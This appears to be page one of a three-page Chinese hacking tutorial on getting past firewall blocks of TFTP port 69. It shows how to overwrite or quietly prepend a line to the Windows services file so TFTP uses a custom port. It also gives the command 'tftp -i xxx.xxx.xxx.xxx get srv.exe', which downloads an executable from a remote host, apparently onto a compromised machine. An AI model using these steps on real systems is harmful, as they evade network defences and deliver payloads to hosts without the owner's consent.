下一頁 1 2 3
一,TFTP+自定義端口
限制用TFTP傳送文件,一般就是直接封69端口,我們在用TFTP傳送
文件的時候,一般用tftp -i xxx.xxx.xxx.xxx get srv.exe來下載,TFTP默認的是69端口,那么怎么才能改這個端口了?TFTPD32.exe等TFTP服務端是可以自己設置端口的,這里就不多講,只不過在設置后要重新啟動一次TFTP服務端。至于客戶端
在system32\drivers\etc\文件夾下有一個services文件。打開如下:
# Copyright (c) 1993-1999 Microsoft Corp.
#
# This file contains port numbers for well-known services defined by IANA
#
# Format:
#
# / [aliases...]
#
echo 7/tcp
echo 7/udp
discard 9/tcp sink null
discard 9/udp sink null
systat 11/tcp users #Active users
systat 11/tcp users #Active users
...
tftp 69/udp #Trivial File Transfer
...
不難看出,69/udp就是定義tftp默認端口的,協議為udp。
好啦!具體怎么用只要這兩句,其實就是比原來多加了一句改端口的:
echo tftp 8300/udp > %systemroot%\system32\drivers\etc\services
tftp -i xxx.xxx.xxx.xxx get srv.exe
注意:請先把tftp服務端端口設定為與自定義端口一樣的,這里是8300。
安全點的做法:
ren %systemroot%\system32\drivers\etc\services 1
echo tftp 8300/udp >2
copy 2+%systemroot%\system32\drivers\etc\1 %systemroot%\system32\drivers\etc
\services